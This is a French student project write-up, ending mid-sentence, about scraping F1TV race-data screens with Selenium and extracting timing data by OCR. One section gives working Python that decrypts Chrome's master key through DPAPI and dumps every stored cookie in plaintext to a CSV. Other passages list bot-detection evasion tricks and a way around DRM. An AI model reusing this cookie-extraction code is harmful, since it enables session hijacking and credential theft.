l'utilisateur On ne peut pas vraiment automatiser quoi que ce soit niveau tests ou m\u00eame pour faire du scrapping auto pour remplir une base de donn\u00e9e. Et finalement le pire inconv\u00e9nient : C'EST NUL ! Je ne pourrais jamais utiliser un projet qui fonctionne de cette facon, je ne peux pas me permettre d'avoir un \u00e9cran inutilisable quand je commente et auquel je dois constamment faire attention pour ne pas perturber la reconnaissance. Pour moi cette option aurait \u00e9t\u00e9 celle \u00e0 choisir en cas d'extr\u00eame urgence et en dernier recours car le projet deviendrait inutile. J'ai donc d\u00e9cid\u00e9 de m'occuper de la seconde option : Simuler un navigateur. Cette option bien que complexe et difficile \u00e0 impl\u00e9menter propose une solution \u00e0 tous les probl\u00eame et permet une r\u00e9cup\u00e8ration quasi sans compromis. Simuler un navigateur ? \"Navigateur Headless(sans t\u00eate)\" Simuler un navigateur internet n'est pas forc\u00e9ment tr\u00e8s difficile. Chromium par exemple offre une panoplie d'outils natifs et \u00e9norm\u00e9ment de librairies existent permettant de facilement et en quelques lignes simuler un Google Chrome et le contr\u00f4ler sans afficher son UI (Interface Utilisateur). \"Chromium logo\" {: style=\"height:150px;width:150px\"} Cependant. La F1TV n'utilise pas simplement un player HTML5 basique. Elle utilise un service de streaming BitMovin qui permet de fournir un stream de bonne qualit\u00e9 et surtout qui impl\u00e9mente les DRM (Digital Right Management) Cela veut dire que quand on ouvre un flux de la F1TV sur chrome et que l'on essaie de prendre une capture d'\u00e9cran, le player se met en noir et ne permet pas de voir quoi que ce soit (Certaines version de Chrome le permettent pendant quelques semaines avant de bloquer \u00e0 nouveau). Ce qui dans notre cas est un immense probl\u00e8me. Mais Firefox ne nous bloque pas de cette facon et il est donc assez facile de passer outre. L'explication sans trop rentrer dans les d\u00e9tails est la suivante : Dans chrome, le player par d\u00e9faut utilise une technologie appell\u00e9e \"PCP\" ou \"Protected Content Playback\" qui leur permet de bloquer au moins une partie des techniques de r\u00e9cup\u00e8ration du flux vid\u00e9o et audio. Cependant Firefox de pas sa nature Open Source utilise \"OpenH264\" pour lire ces m\u00eames flux soumis \u00e0 des DRM et OpenH264 n'impl\u00e9mente pas les m\u00eames restrictions. Sauf que Firefox n'est pas aussi facilement \u00e9mul\u00e9 que chrome et cela r\u00e9duit notre choix de librairies \u00e0 ... Une seule... Qui est Selenium. (Il existe aussi Pupetteer C# mais j'ai rencontr\u00e9 \u00e9norm\u00e9ment de soucis avec cette derni\u00e8re d\u00e8s que je voulais lancer une vid\u00e9o) \"Firefox dev logo\" {: style=\"height:150px;width:150px\"} Mais m\u00eame si la documentation est plut\u00f4t maigre parfois, c'est une bonne librairie qui permet de tr\u00e8s bien contr\u00f4ler une instance de chrome ou de Firefox. Contr\u00f4ler le navigateur Maintenant que l'on sait quel navigateur simuler et avec quelle technologie, on peut passer \u00e0 la r\u00e9alisation. Ce qu'il y a de bien avec Selenium, c'est qu'on a un certain nombre de commandes tr\u00e8s haut niveau qui nous permettent de contr\u00f4ler un navigateur de mani\u00e8re plut\u00f4t pr\u00e9cise. Je vais d\u00e9crire ici la proc\u00e9dure habituelle utilis\u00e9e sous une forme de recette de cuisine pour que l'on puisse facilement comprendre ce qu'il se passe. Durant cette explication je vais parler \u00e0 un moment de Cookies, ne vous en faites pas c'est le sous chapitre suivant qui va vous en parler. Recette de cuisine pour r\u00e9cup\u00e8rer des images de la F1TV : D\u00e9marrer une instance de navigateur avec les bons arguments Ajouter les bons param\u00eatres pour ne pas se faire flag comme un bot Naviguer sur la page de la F1TV Ajouter les cookies de connexion pour avoir acc\u00e8s au contenu de la page Naviguer sur la page du Grand Prix demand\u00e9 Attendre un peu que la page se charge Cliquer sur l'invite de cookies Attendre cinq secondes le temps que la page se reload Cliquer sur le bouton qui permet de passer du feed live \u00e0 la DATA CHANNEL Appuyer sur Espace pour faire apparaitre le bouton d'acc\u00e8s au param\u00eatres Cliquer sur le menu d\u00e9roulant des r\u00e9solution Trouver l'option 1080P et la selectionner Cliquer sur le bouton qui met la vid\u00e9o en plein \u00e9cran Prendre de screenshots \u00e0 intervales r\u00e9guliers Pour faire toutes ces actions on doit r\u00e9cup\u00e8rer les \u00e9l\u00e9ments selon leur ID ou leur classe. Voici un exemple qui r\u00e9cup\u00e8re le bouton de plein \u00e9cran et qui clique dessus : IWebElement fullScreenButton = Driver . FindElement ( By . ClassName ( \"bmpui-ui-fullscreentogglebutton\" )); fullScreenButton . Click (); Ca peut para\u00eetre plut\u00f4t simple dit comme ca et quand tout fonctionne ca l'est mais la difficult\u00e9 vient du fait que \u00e0 peu pr\u00e8s nimporte laquelle de ces \u00e9tapes peut rater et qu'il faut donc faire un bon syst\u00e8me de gestion d'erreurs qui puisse aider l'utilisateur en cas de probl\u00e8me. Parfois il est aussi difficile de trouver un \u00e9l\u00e9ment selon son ID,sa classe, ou sa value. Par exemple l'option qui permet de passer en 1080P peut avoir comme value 1080_9011456 ou 1080_9011200 si on refresh la page. Cela demande de passer par des expression r\u00e9guli\u00e8res ce qui n'est pas compliqu\u00e9 en soi mais c'est toutes ces petites choses qui rendent le processus long \u00e0 mettre en place. Il faut dire aussi que les sites ne sont pas forc\u00e9ment tr\u00e8s content de voir des bots passer car cela peut \u00eatre un risque de DDOS et de Scraping (Comme moi) et donc ils mettent en place des syst\u00e8mes pour nous emp\u00eacher de faire ce que l'on veut On peut utiliser diff\u00e9rntes techniques pour passer outre ces restrictions comme : Changer son UserAgent Changer sa r\u00e9solution Ne pas avoir des patterns trop pr\u00e9visibles Avoir un historique Ne pas cliquer pile sur le milieu des boutons Ne pas cliquer trop vite Passer par un proxy pour ne pas se faire flag Utiliser des librairies plus discr\u00e8tes J'ai eu l'occasion de tester toutes ces methodes pour tenter de passer derri\u00e8re les radars de la F1TV et visiblement j'ai r\u00e9ussi pour les pages principales mais pas pour les pages de Login. Il faut savoir que la bataille entre bots et propri\u00e9taires de sites est un grand jeu du chat et de la souris et que les plateformes innovent constamment leur s\u00e9curit\u00e9. Et il se trouve que la partie login de la F1TV est heberg\u00e9e autre part que le reste du site chez Amazon et que elle poss\u00e8de les meilleures s\u00e9curit\u00e9s que j'aie pu voir. Aucunes des methodes que j'ai cit\u00e9es et d'autres encore que j'ai essay\u00e9 n'ont r\u00e9ussi \u00e0 fourvoyer le syst\u00e8me. J'ai donc \u00e9t\u00e9 oblig\u00e9 de faire appel \u00e0 la connexion par Cookies pour pouvoir acc\u00e8der au reste du site internet. R\u00e9cup\u00e8rer les cookies ? Alors, on va mettre de c\u00f4t\u00e9 toutes les questions de s\u00e9curit\u00e9 et de violation de la vie priv\u00e9e et de protection des donn\u00e9es des utilisateurs pour ce chapitre. Car pour faire simple, je siphonne TOUS les cookies de la persone qui utilise mon app. Alors \u00e9videmment ca n'est pas pour faire des b\u00e9tises avec et c'est pour une \"bonne\" raison, mais bon quand m\u00eame ca peut faire bizarre comme ca. Je pense que vous savez d\u00e9ja ce qu'est un Cookie, mais je vais quand m\u00eame faire un petit point la dessus car c'est important pour la suite. Quand on va sur un site internet et que l'on se connecte avec nos identifiants nous sommes connect\u00e9s sur la session. Cependant, si on quitte le site ou que l'on ferme le navigateur, le site ne peut pas garder en m\u00e9moire que c'est bien vous quand le lendemain vous retournez dessus. Pour palier \u00e0 cette limitation on a invent\u00e9 cette chose magnifique (hem...) que sont les cookies ! Les cookies sont des petits fichiers qui sont stock\u00e9s dans votre navigateur et qui peuvent servir \u00e0 beaucoup de choses comme traquer votre activit\u00e9 sur internet et espionner un peu ou aussi par exemple, servir de jeton de connexion. L'id\u00e9e est que quand vous vous connectez sur le site avec vos identifiants, le site envoie un petit fichier dans votre navigateur qui va servir de jeton. Et donc quand vous reviendrez, le site pourra voir que vous avez le jeton et vous connectera automatiquement. Ca peut para\u00eetre g\u00e9nial, et c'est effectivement bien pratique, cependant ce n'est pas sans risques. En effet, imaginons qu'un acteur malveillant parvienne \u00e0 s'emparer de ces petits fichiers, il pourrait ainsi facilement se faire passer pour vous. Alors un cookie expire \u00e0 un moment donn\u00e9 pour temperer les risques, mais ils sont toujours pr\u00e9sents. Dans notre cas on peut vite comprendre pourquoi cela peut \u00eatre int\u00e9ressant de r\u00e9cup\u00e8rer ces cookies. En effet, si on peut mettre la main sur le jeton de connexion de l'utilisateur de notre application. On pourra se connecter automatiquement \u00e0 la F1TV et aller prendre des photos directement sans que l'utilisateur aie \u00e0 faire quoi que ce soit. Sauf que les cookies ne sont pas stock\u00e9s en clair comme ca. Evidemment Google Chrome a mis en place quelques techniques pour \u00e9viter que nimporte qui puisse s'amuser \u00e0 aller taper dans les cookies de la machine. Tous les cookies sont stock\u00e9s dans une base de donn\u00e9es sqlite avec les noms en clair et les valeurs sont encrypt\u00e9es en utilisant la methode AES 256 qui est une methode de cryptage tr\u00e8s utilis\u00e9e et efficace. Tellement efficace qu'il serait compl\u00eatement inutile de tenter de les decrypter en utilisant de la force brute pour trouver la valeur ou m\u00eame une attaque de dictionnaire ou quoi que ce soit. Si ces valeurs peuvent \u00eatre encod\u00e9es et d\u00e9cod\u00e9es en local sur la machine sans connexion internet, cela veut dire que la cl\u00e9 est stock\u00e9e sur la machine. Et si je peux mettre la mais sur cette cl\u00e9 alors je pourrai lire tous les cookies de la machine. Cette cl\u00e9 est stock\u00e9 dans les fichiers de Google Chrome sous Google\\Chrome\\User Data\\Local State . Et dans ce fichier on peut trouver une liste de donn\u00e9es en cl\u00e9 valeurs et on peut trouver la cl\u00e9 sous os_crypt encrypted_key . On pourrait croire que l'on a d\u00e9ja touch\u00e9 le jackpot mais il reste encore une \u00e9tape. Cette cl\u00e9 est crypt\u00e9e en utilisant le syst\u00e8me d'encryption de Windows. Cette encryption est utilis\u00e9e pour emp\u00eacher des utilisateurs non connect\u00e9s d'acc\u00e8der \u00e0 certaines donn\u00e9es. Mais comme nous sommes connect\u00e9s nous pouvons facilement utiliser les librairies de decryption pour trouver la valeur de cette cl\u00e9. Et \u00e0 partir de la il suffit d'utiliser cette cl\u00e9 pour d\u00e9crypter tous les cookies de la machine pour aller chercher ceux qui nous int\u00e9ressent. Voici un exemple du code python qui permet d'aller chercher la cl\u00e9 d'encryption dans les fichiers de Google Chrome : def get_master_key (): with open ( os . getenv ( \"localappdata\" ) + \" \\\\ Google \\\\ Chrome \\\\ User Data \\\\ Local State\" , \"r\" ) as f : local_state = f . read () local_state = json . loads ( local_state ) master_key = base64 . b64decode ( local_state [ \"os_crypt\" ][ \"encrypted_key\" ]) master_key = master_key [ 5 :] # removing DPAPI master_key = win32crypt . CryptUnprotectData ( master_key , None , None , None , 0 )[ 1 ] print ( \"MASTER KEY :\" ) print ( master_key ) print ( len ( master_key )) return master_key Python ?? Et oui j'ai choisit d'utiliser un srypt python pour aller chercher les cookies. Ce choix a \u00e9t\u00e9 fait pour trois raisons : Le python est un language que je n'aime pas particuli\u00e8rement mais qui poss\u00e8de un \u00e9ventail de librairies absolument fantastique. Et pour ce genre de choses qui demandent une constante mise \u00e0 jour des librairies et qui sont un peu niches le python est une option juste g\u00e9niale. Comme c'est une des parties qui est le plus suceptible de changer vu que Chrome change relativement souvent le syst\u00e8me de stockage des cookies. Dans une optique de facilit\u00e9 de maintenance, avoir un seul fichier qui concerne cette partie du projet et qui est dans un language que plus de gens maitrisent que C# est pratique. Je n'ai pas r\u00e9ussi \u00e0 trouver de librairies C# qui me donne des r\u00e9sultats identiques \u00e0 celles que j'utilise dans ce script python. Pour faire la liaison entre le C# et le python, j'appelle le script depuis mon C# et ensuite le python s'occupe de mettre tous les cookies dans un CSV qui est ensuite lu depuis le C#. Voici la partie python qui \u00e9crit dans le csv : if not cookies_path . exists (): raise ValueError ( \"Cookies file not found\" ) with sqlite3 . connect ( cookies_path ) as connection : connection . row_factory = sqlite3 . Row cursor = connection . cursor () cursor . execute ( \"SELECT * FROM cookies\" ) with open ( 'cookies.csv' , 'a' , newline = '' ) as csvfile : fieldnames = [ 'host_key' , 'name' , 'value' , 'path' , 'expires_utc' , 'is_secure' , 'is_httponly' ] writer = csv . DictWriter ( csvfile , fieldnames = fieldnames ) if csvfile . tell () == 0 : writer . writeheader () for row in cursor . fetchall (): decrypted_value = decrypt_password ( row [ \"encrypted_value\" ], master_key ) writer . writerow ({ 'host_key' : row [ \"host_key\" ], 'name' : row [ \"name\" ], 'value' : decrypted_value , 'path' : row [ \"path\" ], 'expires_utc' : row [ \"expires_utc\" ], 'is_secure' : row [ \"is_secure\" ], 'is_httponly' : row [ \"is_httponly\" ] }) print ( \"Finished CSV\" ) Et la partie C# qui appelle le script et qui lit le CSV : private void StartCookieRecovering () { string scriptPath = PYTHON_COOKIE_RETRIEVAL_FILENAME ; Process process = new Process (); process . StartInfo . FileName = \"python.exe\" ; process . StartInfo . Arguments = scriptPath ; process . StartInfo . UseShellExecute = false ; process . StartInfo . RedirectStandardOutput = true ; process . Start (); string output = process . StandardOutput . ReadToEnd (); process . WaitForExit (); } public string GetCookie ( string host , string name ) { StartCookieRecovering (); string value = \"\" ; List < Cookie > cookies = new List < Cookie >(); using ( var reader = new StreamReader ( COOKIES_CSV_FILENAME )) { // Read the header row and validate column order string header = reader . ReadLine (); string [] expectedColumns = { \"host_key\" , \"name\" , \"value\" , \"path\" , \"expires_utc\" , \"is_secure\" , \"is_httponly\" }; string [] actualColumns = header . Split ( ',' ); for ( int i = 0 ; i < expectedColumns . Length ; i ++) { if ( expectedColumns [ i ] != actualColumns [ i ]) { throw new InvalidOperationException ( $\"Expected column '{expectedColumns[i]}' at index {i} but found '{actualColumns[i]}'\" ); } } // Read each data row and parse values into a Cookie object while (! reader . EndOfStream ) { string line = reader . ReadLine (); string [] fields = line . Split ( ',' ); string hostname = fields [ 0 ]; string cookieName = fields [ 1 ]; if ( hostname == host && cookieName == name ) { value = fields [ 2 ]; } } } return value ; } Maintenant que l'on sait comment simuler et manipuler un navigateur internet, que l'on sait comment se connecter sur le compte F1TV de l'utilisateur sans qu'il n'aie rien \u00e0 faire. On a tous les ingr\u00e9dients pour automatiquement r\u00e9cup\u00e8rer des images de la F1TV du Grand Prix que l'on souhaite. Calibration Maintenant que l'on a des images de la page Data de la F1TV on pourrait croire que c'est tout bon on peut direct passer \u00e0 la partie OCR. Mais que nenni ! Le gros soucis de l'OCR c'est que sa pr\u00e9cision est grandement r\u00e9duite d\u00e8s que l'on augmente la taille de la zone de recherche. M\u00eame simplement deux mots sur une image, si on les prends dans images individuelles on a de grandes chances de trouver quelque chose mais si on les mets les deux sur la m\u00eame et que on tente l'OCR on va avoir de r\u00e9sultats bien moins bons. Et puis il faut aussi voir que selon les donn\u00e9es que je cherche je ne peux pas faire le m\u00eame traitement. Par exemple, savoir si le DRS est allum\u00e9, savoir quels pneus chausse un pilote et depuis combien de tours et savoir quel est le temps de son dernier tour, ce sont des informations qui demandent des traitements qui n'ont rien \u00e0 voir. Il faut donc pouvoir dire au programme d'OCR ou se trouvent les informations et quelle est leur nature pour qu'il puisse les d\u00e9coder. Il faut donc faire une calibration qui puisse donner toutes les infos importantes mais qui en m\u00eame temps soit facile \u00e0 utiliser car un utilisateur doit \u00eatre capable de le faire assez facilement. Voici la liste des informations que l'on doit r\u00e9cup\u00e8rer : La liste des pilotes pr\u00e9sent sur le Grand Prix La position de la zone principale La position de chaque zone de pilote La position de toutes les Window sur chaque zone de pilote Le but a \u00e9t\u00e9 de retirer le plus d'\u00e9tapes possibles \u00e0 l'utilisateur. Techniquement j'aurais pu faire une version compl\u00eatement manuelle mais ca aurait pris trop de temps alors il y a des syst\u00e8mes qui permettent de rendre cette t\u00e2che moins p\u00e9nible. Liste des pilotes Pour la liste des pilotes j'ai pens\u00e9 \u00e0 utiliser une API externe pour avoir une liste dans laquelle on pourrait selectionner des noms de pilotes sauf que j'ai abandonn\u00e9 l'id\u00e9e car je trouvais que le projet avait d\u00e9ja bien assez de points qui d\u00e9pendent de l'exterieur. Il y a donc une liste de pilotes dans laquelle on peut ajouter ou supprimer des noms de pilotes. L'id\u00e9al serait de mettre tous les pilotes de reserve comme ca si un pilote est malade sur une course on a pas besoin de venir changer la liste. Zone principale Pour la zone principale c'est compl\u00eatement manuel, on attend de l'utilisateur deux points x,y sur l'image pour ensuite avoir une id\u00e9e de ou est sens\u00e9 se trouver la zone. \"Exemple de zone principale\" Zones pilotes C'est la que ca devient int\u00e9ressant. L'utilisateur n'a pas besoin de faire quoi que ce soit pour que le programme sache ou sont les zones des pilotes. J'aurais pu le faire manuellement en faisant choisir \u00e0 l'utilisateur de donner deux points qui correspondent \u00e0 la premi\u00e8re zone et extrapoler pour en avoir 20. Sauf que si l'utilisateur n'est pas pr\u00e9cis au pixel pr\u00e8s (et m\u00eame comme ca parfois) le vingti\u00e8me pilote se retrouve avec une zone compl\u00eatement desax\u00e9e. La, le programme va \"simplement\" effectuer une reconaissance de texte sur toute l'image. Les r\u00e9sultats ne nous int\u00e9ressent pas vraiment tout ce que l'on veut c'est la position des textes. Avec les position il est facile de determiner ou sont toutes les zones de pilotes et donc sans que l'utilisateur n'aie \u00e0 toucher quoi que ce soit, d\u00e8s qu'il a donn\u00e9 les infos pour la zone principale, les zones de pilotes sont determin\u00e9es. \"Exemple zone pilote\" Voici un exemple du code utilis\u00e9 pour trouver ou dessiner des zones de pilotes : public void AutoCalibrate () { List < Rectangle > detectedText = new List < Rectangle >(); List < Zone > zones = new List < Zone >(); TesseractEngine engine = new TesseractEngine ( Window . TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Image image = MainZone . ZoneImage ; var tessImage = Pix . LoadFromMemory ( Window . ImageToByte ( image )); Page page = engine . Process ( tessImage ); using ( var iter = page . GetIterator ()) { iter . Begin (); do { Rect boundingBox ; if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { //var text = iter.GetText(PageIteratorLevel.Word).ToUpper(); //We remove all the rectangles that are definitely too big if ( boundingBox . Height < image . Height / NUMBER_OF_DRIVERS ) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if ( boundingBox . X1 > image . Width / 2 ) { //Now we check if an other square box has been found roughly in the same y axis bool match = false ; //The tolerance is roughly half the size that a window will be int tolerance = ( image . Height / NUMBER_OF_DRIVERS ) / 2 ; foreach ( Rectangle rect in detectedText ) { if ( rect . Y > boundingBox . Y1 - tolerance && rect . Y < boundingBox . Y1 + tolerance ) { //There already is a rectangle in this line match = true ; } } //if nothing matched we can add it if (! match ) detectedText . Add ( new Rectangle ( boundingBox . X1 , boundingBox . Y1 , boundingBox . Width , boundingBox . Height )); } } } } while ( iter . Next ( PageIteratorLevel . Word )); } //DEBUG int i = 1 ; foreach ( Rectangle Rectangle in detectedText ) { Rectangle windowRectangle ; Size windowSize = new Size ( image . Width , image . Height / NUMBER_OF_DRIVERS ); Point windowLocation = new Point ( 0 , ( Rectangle . Y + Rectangle . Height / 2 ) - windowSize . Height / 2 ); windowRectangle = new Rectangle ( windowLocation , windowSize ); //We add the driver zones Zone driverZone = new Zone ( MainZone . ZoneImage , windowRectangle , \"DriverZone\" ); MainZone . AddZone ( driverZone ); //driverZone.ZoneImage.Save(\"Driver\" + i+\".png\"); i ++; } } Windows pilotes C'est ici que c'est le plus p\u00e9nible pour l'utilisateur, il doit selectionner manuellement les positions des fen\u00eatres de donn\u00e9es. Ensuite d\u00e8s que l'utilisateur a donn\u00e9e une position pour chaque window, on applique les positions pour chaque zone de pilote. Il y a plusieurs types de windows et selon le type le traitement est diff\u00e9rent comme je l'ai dit plus t\u00f4t. Voici des exemples concrets : \"Exemple Window de pneus\" \"Exemple Window temps au tour\" \"Exemple window Drs\" Il est important que toutes ces zones soient transmises avec le plus de pr\u00e9cision possible pour que l'OCR puisse bien faire son boulot. Stockage Ensuite quand l'utilisateur a finit de configurer son flux, la configuration est stock\u00e9e pour qu'il puisse ensuite la r\u00e9utiliser pour tous les autres Grand Prix de l'ann\u00e9e. Le stockage est fait sous format JSON et est fait pour que le programme d'OCR puisse lire dedans toutes les infos nescessaires. Cela fait des fichiers plut\u00f4t gros mais je n'avais pas vraiment le choix. J'ai test\u00e9 une version avec seulement les infos de la premi\u00e8re zone de pilote mais avec l'interpolation, les derniers pilotes se retrouvent avec des zones clairement pas \u00e0 la bonne taille. Voici un exemple de ce \u00e0 quoi ressemble le JSON final : { \"Main\" : { \"x\" : 36 , \"y\" : 343 , \"width\" : 3780 , \"height\" : 1454 , \"DriverZones\" : [ { \"name\" : \"Driver1\" , \"x\" : 0 , \"y\" : 1 , \"width\" : 3780 , \"height\" : 72 , \"Windows\" : [ { \"Position\" : { \"x\" : 45 , \"y\" : 3 , \"width\" : 76 , \"height\" : 65 }, \"GapToLeader\" : { \"x\" : 447 , \"y\" : 1 , \"width\" : 206 , \"height\" : 67 }, \"LapTime\" : { \"x\" : 863 , \"y\" : 3 , \"width\" : 229 , \"height\" : 65 }, \"DRS\" : { \"x\" : 1095 , \"y\" : 1 , \"width\" : 174 , \"height\" : 67 }, \"Tyres\" : { \"x\" : 1274 , \"y\" : 3 , \"width\" : 1448 , \"height\" : 62 }, \"Name\" : { \"x\" : 2724 , \"y\" : 3 , \"width\" : 361 , \"height\" : 65 }, \"Sector1\" : { \"x\" : 3088 , \"y\" : 1 , \"width\" : 239 , \"height\" : 65 }, \"Sector2\" : { \"x\" : 3314 , \"y\" : 4 , \"width\" : 190 , \"height\" : 62 }, \"Sector3\" : { \"x\" : 3493 , \"y\" : 1 , \"width\" : 198 , \"height\" : 67 } } ] }, { \"name\" : \"Driver2\" , \"x\" : 0 , \"y\" : 72 , \"width\" : 3780 , \"height\" : 72 , \"Windows\" : [ { \"Position\" : { \"x\" : 45 , \"y\" : 3 , \"width\" : 76 , \"height\" : 65 }, \"GapToLeader\" : { \"x\" : 447 , \"y\" : 1 , \"width\" : 206 , \"height\" : 67 }, \"LapTime\" : { \"x\" : 863 , \"y\" : 3 , \"width\" : 229 , \"height\" : 65 }, \"DRS\" : { \"x\" : 1095 , \"y\" : 1 , \"width\" : 174 , \"height\" : 67 }, \"Tyres\" : { \"x\" : 1274 , \"y\" : 3 , \"width\" : 1448 , \"height\" : 62 }, \"Name\" : { \"x\" : 2724 , \"y\" : 3 , \"width\" : 361 , \"height\" : 65 }, \"Sector1\" : { \"x\" : 3088 , \"y\" : 1 , \"width\" : 239 , \"height\" : 65 }, \"Sector2\" : { \"x\" : 3314 , \"y\" : 4 , \"width\" : 190 , \"height\" : 62 }, \"Sector3\" : { \"x\" : 3493 , \"y\" : 1 , \"width\" : 198 , \"height\" : 67 } } ] } [ O t her pilo ts ... ] ], \"Drivers\" : [ \"Perez\" , \"Verstappen\" , \"Alonso\" , \"Sainz\" , \"Russel\" , \"Gasly\" , \"Leclerc\" , \"Ocon\" , \"Hulkenberg\" , \"Bottas\" , \"Hamilton\" , \"Albon\" , \"Tsunoda\" , \"Zhou\" , \"Stroll\" , \"De Vries\" , \"Magnussen\" , \"Norris\" , \"Piastri\" , \"Sargeant\" ] } } Et avec tout ca. L'OCR peut d\u00e9marrer dans de bonnes conditions OCR Maintenant que on a des images qui arrivent automatiquement et que l'on sait ou se trouvent les informations sur ces dites images, je vais parler de la seconde partie du projet qui parle du processus de reconnaissance de data sur une image du feed DATA de la F1TV. C'est je pense la partie qui a demand\u00e9 le plus tests et de refactor. Toute la partie OCR a \u00e9t\u00e9 d\u00e9velopp\u00e9e dans un projet \u00e0 part avant d'\u00eatre int\u00e9gr\u00e9e dans le projet final. Il faut savoir que la reconnaissance est diff\u00e9rente celon ce que l'on cherche. Je vais donc d\u00e9composer cette partie du document en sous rubriques selon les donn\u00e9es recherch\u00e9es. Mais avant ca je dois expliquer certains concepts qui seront importants. Fonctionnement g\u00e9n\u00e9ral Voici un screenshot de la page DATA de la F1TV que le programme va recevoir : \"Screen F1TV\" Si on regarde de loin on peut se dire que la structure est plut\u00f4t simple mais c'est loin d'\u00eatre le cas. On peut y voir au moins 4 zones contenant de l'information dans un format diff\u00e9rent. \"Zones principales\" Dans l'exemple ci dessus on peut voir 3 zones mais on aurait \u00e9galement pu comprendre la zone de position des pilotes autour du circuit pour faire 4. Ces 4 zones sont tr\u00e8s diff\u00e9rentes et contiennent d'autres informations. Pour ce travail de dipl\u00f4me je ne m'occupe que de la zone principale. Mais je pense que le titre et les infos de circuit ne prendrait pas tant de temps que ca \u00e0 impl\u00e9menter. J'ai utilis\u00e9 le mot \"Zone\" plus haut et ca n'est pas juste un mot utilis\u00e9 au hasard. C'est le nom de l'objet que j'utilise pour les repr\u00e9senter dans mon programme. Mais comme c'est important de bien comprendre ce concept avant de continuer je vais vous l'expliquer. ZONE : L'objet \"Zone\" parent est un objet qui est une zone d'image. Je m'explique, le but d'une zone est d'\u00eatre un morceau d'une image plus grande. Le but d'une Zone est de contenir une liste de plus petites Zones ou bien une liste de \"Window\" (j'explique ce que c'est juste apr\u00e8s). Elle contient la portion d'image qui la concerne et ses propres dimensions. Le parent zone ne pr\u00e9voit que de pouvoir ajouter ou supprimer des \u00e9l\u00e9ments des listes de zones ou de windows ainsi qu'une methode qui permet d'aller chercher toutes informations des livres qu'elle contient. L'int\u00e9r\u00eat d'une zone est de pouvoir compartimenter une image dans des parties int\u00e9ressantes au niveau de la reconnaissance mais pas de traiter d'information. WINDOW : L'objet \"Window\" est un objet qui peut ressembler beaucoup \u00e0 l'objet \"Zone\". En effet elle aussi est une partie d'une image plus grande et contient ses dimensions, mais elle se distingue en deux points importants. Elle ne contient pas d'autres Zones ou Windows Elle peut retourner les informations \u00e9crites sur son image. Toutes les Window qui h\u00e9ritent du parent Window peuvent impl\u00e9menter une methode qui permet de renvoyer ce qui peut \u00eatre d\u00e9cod\u00e9 sur son image. Les enfants peuvent aussi aller piocher dans les nombresues methodes de r\u00e9cup\u00e8ration de donn\u00e9es contenues dans le parent Window. Mieux vaut r\u00e9utiliser le plus possible que de r\u00e9inventer la roue pour chaque Window. Une analogie un peu bancale pourrait se pr\u00e9senter comme la suivante : La zone est une armoire ou une bibliot\u00e8que. Si c'est une zone qui contient d'autres zones c'est une bibliot\u00e8que et chacune de ces sous-zones sont des armoires. Leur unique but est de contenir de mani\u00e8re ordonn\u00e9e des objets qui eux contiennent de l'information. Les livres ici sont les Windows. Ils contiennet de l'information et sont stock\u00e9s dans des armoires et on y acc\u00e8de en allant dans la bonne bibliot\u00e8que et en allant dans la bonne armoire. Derni\u00e8res choses pour comprendre le diagramme: Il existe une Main Zone qui est une des 4 grandes zones dont je parlais dans la d\u00e9composition de l'image. Il existe aussi des \"Driver Zone\" qui sont de plus petites zones contenues dans la Main Zone qui et qui ne contiennent que les informations d'un pilote. L'objet Window n'est quasi jamais utilis\u00e9, c'est presque tout le temps des enfants de Window plus sp\u00e9cifiques qui sont utilis\u00e9s, le but est que chaque type d'information sur l'image aie son type de window. Voila donc un petit diagramme qui montre le d\u00e9coupage du programme : \"Diagramme explicatif de l'architecture des zones\" Pour visualiser encore un peu mieux comment ce d\u00e9coupage prend forme voici ce que chaque zone et Window contient. Main Zone : \"Exemple zone principale\" Driver Zone : \"Exemple zone de pilote\" Driver Position Window : \"Exemple de fen\u00eatre de position\" Driver name Window : \"Exemple de fen\u00eatre de nom\" Driver LapTime Window : \"Exemple de fen\u00eatre de temps au tour\" Driver Tyre Window : \"Exemple de fen\u00eatre pneus\" Il existe d'autres types de Window mais ce sont les principaux. On se rend assez facilement compte que chacunes de ces windows va avoir besoin d'un traitement sp\u00e9cifique car la mani\u00e8re de reconnaitre le pneu utilis\u00e9 et le temps au tour ne peut pas \u00eatre la m\u00eame. Pour r\u00e9sumer, on a un programme qui prend en entr\u00e9e un fichier de configuration, qui prend des images de la F1TV et les d\u00e9coupe dans des ZONES qui elles m\u00eame sont d\u00e9coup\u00e9es en WINDOWS pour qu'on puisse plus facilement les d\u00e9coder. Maintenant qu'on a une liste de diff\u00e9rent types de zones on peut commencer \u00e0 chercher ce qu'il y a marqu\u00e9 dessus. Pour cela il faut dabord comprendre un petit peu comment l'OCR fonctionne et comment des libraries comme Tesseract fonctionnent pour donner du texte en partant d'une image. Pour faire tr\u00e8s simple, nous avons un mod\u00e8le qui est entrain\u00e9. C'est \u00e0 dire que on donne \u00e0 un programme un tr\u00e8s grand nombre de mots ou de lettres en lui disant ce que contiennent chaques images. Ensuite le programme va cr\u00e9er des matrices de convolutions pour chaque lettre avec comme objectif de detecter les points communs entre les lettres pour cr\u00e9er un alpphabet. Par exemple la matric de la lettre 'H' donnerait un poids important \u00e0 des lignes verticales connect\u00e9es par une ligne centrale. Et si on fournis assez de donn\u00e9es de bonne qualit\u00e9 au mod\u00e8le, les matrices peuvent \u00eatre tr\u00e8s efficace \u00e0 detecter si une lettre est un H ou un M. Il y a pleins d'autres methodes comme l'utilisation d'un dictionnaire de mots de la langue pour permettre la reconnaissance de mots m\u00eame si une lettre au milieu n'est pas comprise ou en ajoutant d'autres informations sur le contexte mais ca ne nous int\u00e9resse pas ici. C'est important de comprendre comment cette reconnaissance de caract\u00e8res avec des matrices fonctionne car cela va nous aider \u00e0 pr\u00e9parer nos donn\u00e9es pour lui rendre la vie facile et augmenter la pr\u00e9cision de nos r\u00e9sultats. Filtres et traitement On peut essayer de donner toutes nos images directement \u00e0 Tesseract pour qu'il reconnaisse tout le texte qu'il y voit mais on risque de se retrouver avec des r\u00e9sultats au mieux inconsistents. Dans notre cas, le soucis est que les chiffres et lettres sont beaucoup trop petits. Ils ne font parfoisd que 10 pixels de haut et cela fait que il n'est pas forc\u00e9ment facile de toujours les diff\u00e9rencier. De plus, comme ils sont petits, les art\u00e9facts d'aliasing sont assez violents et peuvent grandement d\u00e9former une lettre ou un chiffre. Exemple : Prenons le chiffre 9. Dans l'image il peut \u00eatre repr\u00e9sent\u00e9 de cette mani\u00e8re : \"Exemple de chiffre avant post traitement\" On peut 